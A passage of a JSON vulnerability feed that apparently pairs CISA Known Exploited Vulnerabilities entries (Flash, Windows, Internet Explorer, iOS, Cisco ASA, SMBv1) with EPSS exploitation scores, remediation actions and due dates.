score","url":"https://api.first.org/data/v1/epss?cve=CVE-2016-0984&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2016-0984, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2016-1010","cveId":"CVE-2016-1010","aliases":[],"kind":"vulnerability","title":"Adobe Flash Player and AIR Integer Overflow Vulnerability","summary":"Integer overflow vulnerability in Adobe Flash Player and AIR allows attackers to execute code.","detail":"CISA added this entry on 2022-05-25. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"The impacted products are end-of-life and should be disconnected if still in use.","publishedAt":"2022-05-25","updatedAt":null,"regions":["Global"],"vendor":"Adobe","product":"Flash Player and AIR","stacks":["Adobe","Flash Player and AIR"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2022-05-25","dueAt":"2022-06-15","action":"The impacted products are end-of-life and should be disconnected if still in use.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.19333,"percentile":0.97326,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2016-1010&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2016-1010","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2022-05-25","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2016-1010 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2016-1010&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2016-1010, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2016-3393","cveId":"CVE-2016-3393","aliases":[],"kind":"vulnerability","title":"Microsoft Windows Graphics Device Interface (GDI) Remote Code Execution Vulnerability","summary":"A remote code execution vulnerability exists due to the way the Windows GDI component handles objects in the memory. An attacker who successfully exploits this vulnerability could take control of the affected system.","detail":"CISA added this entry on 2022-05-25. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions.","publishedAt":"2022-05-25","updatedAt":null,"regions":["Global"],"vendor":"Microsoft","product":"Windows","stacks":["Microsoft Windows","Microsoft","Windows"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2022-05-25","dueAt":"2022-06-15","action":"Apply updates per vendor instructions.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.68465,"percentile":0.99331,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2016-3393&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2016-3393","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2022-05-25","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2016-3393 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2016-3393&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2016-3393, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2016-7256","cveId":"CVE-2016-7256","aliases":[],"kind":"vulnerability","title":"Microsoft Windows Open Type Font Remote Code Execution Vulnerability","summary":"A remote code execution vulnerability exists when the Windows font library improperly handles specially crafted embedded fonts. An attacker who successfully exploits this vulnerability could take control of the affected system.","detail":"CISA added this entry on 2022-05-25. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions.","publishedAt":"2022-05-25","updatedAt":null,"regions":["Global"],"vendor":"Microsoft","product":"Windows","stacks":["Microsoft Windows","Microsoft","Windows"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2022-05-25","dueAt":"2022-06-15","action":"Apply updates per vendor instructions.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.64591,"percentile":0.99234,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2016-7256&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2016-7256","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2022-05-25","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2016-7256 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2016-7256&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2016-7256, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2019-3010","cveId":"CVE-2019-3010","aliases":[],"kind":"vulnerability","title":"Oracle Solaris Privilege Escalation Vulnerability","summary":"Oracle Solaris component: XScreenSaver contains an unspecified vulnerability that allows for privilege escalation.","detail":"CISA added this entry on 2022-05-25. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions.","publishedAt":"2022-05-25","updatedAt":null,"regions":["Global"],"vendor":"Oracle","product":"Solaris","stacks":["Oracle","Solaris"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2022-05-25","dueAt":"2022-06-15","action":"Apply updates per vendor instructions.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.13399,"percentile":0.96394,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2019-3010&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2019-3010","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2022-05-25","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2019-3010 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2019-3010&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2019-3010, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2016-0162","cveId":"CVE-2016-0162","aliases":[],"kind":"vulnerability","title":"Microsoft Internet Explorer Information Disclosure Vulnerability","summary":"An information disclosure vulnerability exists when Internet Explorer does not properly handle JavaScript. The vulnerability could allow an attacker to detect specific files on the user's computer.","detail":"CISA added this entry on 2022-05-24. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions.","publishedAt":"2022-05-24","updatedAt":null,"regions":["Global"],"vendor":"Microsoft","product":"Internet Explorer","stacks":["Microsoft","Internet Explorer"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2022-05-24","dueAt":"2022-06-14","action":"Apply updates per vendor instructions.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.22012,"percentile":0.97644,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2016-0162&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2016-0162","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2022-05-24","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2016-0162 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2016-0162&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2016-0162, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2016-3298","cveId":"CVE-2016-3298","aliases":[],"kind":"vulnerability","title":"Microsoft Internet Explorer Messaging API Information Disclosure Vulnerability","summary":"An information disclosure vulnerability exists when the Microsoft Internet Messaging API improperly handles objects in memory. An attacker who successfully exploited this vulnerability could allow the attacker to test for the presence of files on disk.","detail":"CISA added this entry on 2022-05-24. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions.","publishedAt":"2022-05-24","updatedAt":null,"regions":["Global"],"vendor":"Microsoft","product":"Internet Explorer","stacks":["Microsoft","Internet Explorer"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2022-05-24","dueAt":"2022-06-14","action":"Apply updates per vendor instructions.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.33332,"percentile":0.9836,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2016-3298&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2016-3298","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2022-05-24","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2016-3298 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2016-3298&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2016-3298, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2016-3351","cveId":"CVE-2016-3351","aliases":[],"kind":"vulnerability","title":"Microsoft Internet Explorer and Edge Information Disclosure Vulnerability","summary":"An information disclosure vulnerability exists in the way that certain functions in Internet Explorer and Edge handle objects in memory. The vulnerability could allow an attacker to detect specific files on the user's computer.","detail":"CISA added this entry on 2022-05-24. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions.","publishedAt":"2022-05-24","updatedAt":null,"regions":["Global"],"vendor":"Microsoft","product":"Internet Explorer and Edge","stacks":["Microsoft Edge","Microsoft","Internet Explorer and Edge"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2022-05-24","dueAt":"2022-06-14","action":"Apply updates per vendor instructions.","ransomwareUse":"Known","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.26483,"percentile":0.97996,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2016-3351&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2016-3351","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2022-05-24","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2016-3351 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2016-3351&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2016-3351, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2016-4655","cveId":"CVE-2016-4655","aliases":[],"kind":"vulnerability","title":"Apple iOS Information Disclosure Vulnerability","summary":"The Apple iOS kernel allows attackers to obtain sensitive information from memory via a crafted application.","detail":"CISA added this entry on 2022-05-24. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions.","publishedAt":"2022-05-24","updatedAt":null,"regions":["Global"],"vendor":"Apple","product":"iOS","stacks":["Apple iOS and iPadOS","Apple","iOS"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2022-05-24","dueAt":"2022-06-14","action":"Apply updates per vendor instructions.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.33353,"percentile":0.98362,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2016-4655&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2016-4655","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2022-05-24","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2016-4655 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2016-4655&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2016-4655, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2016-4656","cveId":"CVE-2016-4656","aliases":[],"kind":"vulnerability","title":"Apple iOS Memory Corruption Vulnerability","summary":"A memory corruption vulnerability in Apple iOS kernel allows attackers to execute code in a privileged context or cause a denial-of-service (DoS) via a crafted application.","detail":"CISA added this entry on 2022-05-24. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions.","publishedAt":"2022-05-24","updatedAt":null,"regions":["Global"],"vendor":"Apple","product":"iOS","stacks":["Apple iOS and iPadOS","Apple","iOS"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2022-05-24","dueAt":"2022-06-14","action":"Apply updates per vendor instructions.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.23626,"percentile":0.97794,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2016-4656&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2016-4656","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2022-05-24","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2016-4656 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2016-4656&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2016-4656, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2016-4657","cveId":"CVE-2016-4657","aliases":[],"kind":"vulnerability","title":"Apple iOS Webkit Memory Corruption Vulnerability","summary":"Apple iOS WebKit contains a memory corruption vulnerability that allows attackers to execute remote code or cause a denial-of-service (DoS) via a crafted web site. This vulnerability could impact HTML parsers that use WebKit, including but not limited to Apple Safari and non-Apple products which rely on WebKit for HTML processing.","detail":"CISA added this entry on 2022-05-24. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions.","publishedAt":"2022-05-24","updatedAt":null,"regions":["Global"],"vendor":"Apple","product":"iOS","stacks":["Apple iOS and iPadOS","Safari and WebKit","Apple","iOS"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2022-05-24","dueAt":"2022-06-14","action":"Apply updates per vendor instructions.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.66788,"percentile":0.99286,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2016-4657&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2016-4657","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2022-05-24","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2016-4657 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2016-4657&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2016-4657, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2016-6366","cveId":"CVE-2016-6366","aliases":[],"kind":"vulnerability","title":"Cisco Adaptive Security Appliance (ASA) SNMP Buffer Overflow Vulnerability","summary":"A buffer overflow vulnerability in the Simple Network Management Protocol (SNMP) code of Cisco ASA software could allow an attacker to cause a reload of the affected system or to remotely execute code.","detail":"CISA added this entry on 2022-05-24. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions.","publishedAt":"2022-05-24","updatedAt":null,"regions":["Global"],"vendor":"Cisco","product":"Adaptive Security Appliance (ASA)","stacks":["Cisco","Adaptive Security Appliance (ASA)"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2022-05-24","dueAt":"2022-06-14","action":"Apply updates per vendor instructions.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.87565,"percentile":0.99756,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2016-6366&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2016-6366","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2022-05-24","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2016-6366 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2016-6366&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2016-6366, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2016-6367","cveId":"CVE-2016-6367","aliases":[],"kind":"vulnerability","title":"Cisco Adaptive Security Appliance (ASA) CLI Remote Code Execution Vulnerability","summary":"A vulnerability in the command-line interface (CLI) parser of Cisco ASA software could allow an authenticated, local attacker to create a denial-of-service (DoS) condition or potentially execute code.","detail":"CISA added this entry on 2022-05-24. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions.","publishedAt":"2022-05-24","updatedAt":null,"regions":["Global"],"vendor":"Cisco","product":"Adaptive Security Appliance (ASA)","stacks":["Cisco","Adaptive Security Appliance (ASA)"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2022-05-24","dueAt":"2022-06-14","action":"Apply updates per vendor instructions.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.22583,"percentile":0.97698,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2016-6367&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2016-6367","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2022-05-24","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2016-6367 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2016-6367&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2016-6367, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2017-0005","cveId":"CVE-2017-0005","aliases":[],"kind":"vulnerability","title":"Microsoft Windows Graphics Device Interface (GDI) Privilege Escalation Vulnerability","summary":"The Graphics Device Interface (GDI) in Microsoft Windows allows local users to gain privileges via a crafted application.","detail":"CISA added this entry on 2022-05-24. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions.","publishedAt":"2022-05-24","updatedAt":null,"regions":["Global"],"vendor":"Microsoft","product":"Windows","stacks":["Microsoft Windows","Microsoft","Windows"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2022-05-24","dueAt":"2022-06-14","action":"Apply updates per vendor instructions.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.11022,"percentile":0.95875,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2017-0005&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2017-0005","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2022-05-24","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2017-0005 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2017-0005&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2017-0005, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2017-0022","cveId":"CVE-2017-0022","aliases":[],"kind":"vulnerability","title":"Microsoft XML Core Services Information Disclosure Vulnerability","summary":"Microsoft XML Core Services (MSXML) improperly handles objects in memory, allowing attackers to test for files on disk via a crafted web site.","detail":"CISA added this entry on 2022-05-24. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions.","publishedAt":"2022-05-24","updatedAt":null,"regions":["Global"],"vendor":"Microsoft","product":"XML Core Services","stacks":["Microsoft","XML Core Services"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2022-05-24","dueAt":"2022-06-14","action":"Apply updates per vendor instructions.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.18069,"percentile":0.97173,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2017-0022&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2017-0022","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2022-05-24","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2017-0022 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2017-0022&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2017-0022, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2017-0147","cveId":"CVE-2017-0147","aliases":[],"kind":"vulnerability","title":"Microsoft Windows SMBv1 Information Disclosure Vulnerability","summary":"The SMBv1 server in Microsoft Windows allows remote attackers to obtain sensitive information from process memory via a crafted packet.","detail":"CISA added this entry on 2022-05-24. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions.","publishedAt":"2022-05-24","updatedAt":null,"regions":["Global"],"vendor":"Microsoft","product":"SMBv1 server","stacks":["Microsoft Windows","Microsoft","SMBv1 server"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2022-05-24","dueAt":"2022-06-14","action":"Apply updates per vendor 